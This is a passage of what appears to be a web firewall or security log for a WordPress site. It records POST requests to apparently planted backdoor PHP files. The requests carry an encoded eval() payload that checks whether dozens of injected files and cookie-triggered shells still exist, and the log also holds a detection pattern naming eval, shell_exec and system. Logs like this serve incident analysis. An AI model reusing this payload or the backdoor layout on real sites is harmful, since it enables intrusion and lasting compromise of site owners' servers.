classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:14223\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nEmiqkL=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-20 07:55:12","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VV:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t